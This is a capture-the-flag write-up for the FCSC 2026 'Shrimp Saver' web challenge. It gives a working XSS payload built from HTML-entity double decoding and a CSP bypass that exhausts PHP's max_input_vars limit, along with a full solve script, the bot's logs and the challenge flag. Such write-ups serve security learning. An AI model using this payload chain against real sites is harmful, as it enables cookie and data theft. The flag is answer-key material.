Informations

FieldValue
CTFFCSC 2026
CategoryWeb
DifficultyMedium
Points437
Solves26

Description

Rien de mieux qu’un petit écran de veille à base de crustacés pour égayer son poste de travail !

Attention : lorsque vous testez le challenge, les addons de navigateur peuvent interférer avec le bon fonctionnement de celui-ci, il est conseillé de les désactiver.

https://shrimp-saver.fcsc.fr/

Source code is given: shrimp-saver.tar.xz

NOTE : This challenge has two versions: the original one, and a version that patches an unintended solve. This writeup covers the unintended solve, as I didn’t solve the other during the event.

Analysis

Architecture overview

The sources contain these files:

 1$ tree
 2.
 3├── shrimp-saver
 4│   ├── docker-compose.yml
 5│   └── src
 6│       ├── app
 7│       │   ├── Dockerfile
 8│       │   └── html
 9│       │       ├── app.js
10│       │       ├── flag.php
11│       │       ├── index.php
12│       │       ├── shrimp.gif
13│       │       └── style.css
14│       └── bot
15│           ├── Dockerfile
16│           ├── entrypoint.sh
17│           └── src
18│               ├── bot.js
19│               ├── package.json
20│               └── utils.js
21└── shrimp-saver.tar.xz

We can see that there is a main application in the app folder and a bot service in the other folder. The flag is accessible on the /flag.php path, with a cookie that only the bot has (set with HttpOnly).

We need an XSS to make the bot request /flag.php and log its content.

Understanding the application

The application is pretty simple: we have a main page just displaying a save screen with a Shrimp.

The HTML of the main page is:

 1<?php
 2$nonce = base64_encode(random_bytes(16));
 3header("Content-Security-Policy: default-src 'self'; connect-src 'self'; script-src 'nonce-$nonce';");
 4header("X-Frame-Options: DENY");
 5header("Content-Type: text/html; charset=utf-8");
 6header("Referrer-Policy: no-referrer");
 7header("Cross-Origin-Opener-Policy: same-origin");
 8?>
 9<!DOCTYPE html>
10<html lang="en">
11<head>
12  <meta charset="UTF-8" />
13  <meta name="viewport" content="width=device-width, initial-scale=1.0" />
14  <link rel="icon" href="./shrimp.gif" />
15  <link rel="stylesheet" href="style.css" />
16  <title>Shrimp Saver</title>
17</head>
18<body>
19  <main>
20    <div class="shrimp"><img src="./shrimp.gif" alt="Shrimp"></div>
21  </main>
22  <script nonce="<?= $nonce ?>" src="/app.js"></script>
23</body>
24</html>

The js loaded from the app is the following:

 1var blacklist = ["constructor", "__proto__"];
 2
 3function resolvePath(obj, parts) {
 4  let target = obj;
 5
 6  for (let part of parts) {
 7    if (blacklist.includes(part)) {
 8      throw new Error("Blacklisted path part");
 9    }
10    if (target[part] === undefined) {
11      throw new Error(`Invalid path ${part}`);
12    }
13    target = target[part];
14  }
15  return target;
16}
17
18function copy(copyTo, copyFrom) {
19  const parts = copyTo.split(".");
20  const lastPart = parts.pop();
21
22  const target = resolvePath(document.body, parts);
23  const value = resolvePath(document.body, copyFrom.split("."));
24  target[lastPart] = value;
25}
26
27const searchParams = new URLSearchParams(window.location.search);
28
29for (const [name, value] of searchParams.entries()) {
30  copy(name, value);
31}

Basically, it takes each key=value pair from the URL GET params and copies each element like dest=source. With this basic functionnality, you need to achieve an XSS.

As said, the final goat is to inject an XSS into the DOM to make the bot request /flag.php. To do this we will need to bypass the CSP, but we will talk about this later.

First, we will need to get a gadget that works for getting arbitrary HTML injection in the DOM. The trick I used relies on how the browser handles HTML entities in two successive steps.

XSS via special chars conversion

When innerHTML is set to a string containing &lt; and &gt;, the HTML parser decodes those character references into the literal characters < and >. However, these characters are produced as character tokens, not as tag delimiters. The result is a text node containing the literal string <img src=x onerror=...>.

For example:

1>> document.body.innerHTML="&lt;"
2<- "&lt;"
3>> document.body.textContent
4<- "<" 

This means that, if we HTML-encode our payload, we can add it once through innerHTML to the DOM and then re-read it as textContent, so the characters are no longer encoded as entities.

This means that a URL like https://shrimp-saver.fcsc.fr/?firstElementChild.innerHTML=ownerDocument.location.hash&innerHTML=firstElementChild.textContent#&lt;img/src='x'/onerror=alert(document.domain)&gt; causes the hash to be added to the DOM once via innerHTML (as a text node), then re-read as textContent and re-inserted with the decoded characters.

The last problem is that, with this payload, the CSP is still blocking.

CSP error

CSP bypass through PHP warning

In PHP, when the number of GET parameters exceeds the max_input_vars limit (1000 by default), PHP emits a warning before any output or headers are sent. Since index.php sets the CSP headers at the top of the script, triggering this limit causes PHP to emit a warning that prevents header() from executing, so the Content-Security-Policy header is never sent.

PHP warning

We will exploit this weakness of PHP to bypass the CSP and get the XSS to work.

Exploitation

The complete solve script to solve this challenge is the following:

 1import base64
 2
 3URL = "http://shrimp-saver/"
 4
 5params = (
 6    "?firstElementChild.innerHTML=ownerDocument.location.hash"
 7    "&innerHTML=firstElementChild.textContent"
 8    "&x=innerHTML"
 9)
10
11for i in range(1024):
12    params += "&x"
13
14payload = base64.b64encode(b"fetch(\"/flag.php\").then(r=>r.text()).then(console.log)").decode()
15img = f"<img/src='x'/onerror=eval(atob('{payload}'))>"
16img_encoded = img.replace('<', '&lt;').replace('>', '&gt;')
17params += f"#{img_encoded}"
18
19URL += params
20
21print(URL)

This forges a URL that creates an img tag with onerror=eval(atob(<base64content>)), the base64 being that of a payload that fetches and logs the content of /flag.php. Then, the script fills the URL with 1024 &x parameters to hit the PHP limit, causing the CSP bypass.

The URL generated by the script looks like this:

1$ python3 solve.py 
2http://shrimp-saver/?firstElementChild.innerHTML=ownerDocument.location.hash&innerHTML=firstElementChild.textContent&x=innerHTML&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x#&lt;img/src='x'/onerror=eval(atob('ZmV0Y2goIi9mbGFnLnBocCIpLnRoZW4ocj0+ci50ZXh0KCkpLnRoZW4oY29uc29sZS5sb2cp'))&gt;

Which we can directly send to the bot to get the flag:

 1$ python3 solve.py | nc challenges.fcsc.fr 2258
 2Enter a URL starting with 'http://shrimp-saver/' for the bot to visit.
 3Tips:
 4- Every console.log usage on the bot will be sent back to you :)
 5
 6
 7Starting the browser...
 8[T1]> New tab created!
 9[T1]> navigating        | about:blank
10
11Setting the secret cookie...
12
13The bot is visiting the main page...
14[T1]> navigating        | http://shrimp-saver/
15[T1]> console.error     | The Cross-Origin-Opener-Policy header has been ignored, because the URL's origin was untrustworthy. It was defined either in the final response or a redirect. Please deliver the response using the HTTPS protocol. You can also use the 'localhost' origin instead. See https://www.w3.org/TR/powerful-features/#potentially-trustworthy-origin and https://html.spec.whatwg.org/#the-cross-origin-opener-policy-header.
16
17Going to the user provided link...
18[T1]> navigating        | http://shrimp-saver/?firstElementChild.innerHTML=ownerDocument.location.hash&innerHTML=firstElementChild.textContent&x=innerHTML&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x&x#&lt;img/src='x'/onerror=eval(atob('ZmV0Y2goIi9mbGFnLnBocCIpLnRoZW4ocj0+ci50ZXh0KCkpLnRoZW4oY29uc29sZS5sb2cp'))&gt;
19[T1]> console.error     | Failed to load resource: the server responded with a status of 404 (Not Found)
20[T1]> console.log       | FCSC{6be5a23fc9b91d39125c3dd1ca72a4c9bfc7119c9482c6fc21b86635ae328662}
21[T1]> console.error     | Failed to load resource: the server responded with a status of 404 (Not Found)
22
23Leaving o/
24[T1]> Tab closed!

Flag

1FCSC{6be5a23fc9b91d39125c3dd1ca72a4c9bfc7119c9482c6fc21b86635ae328662}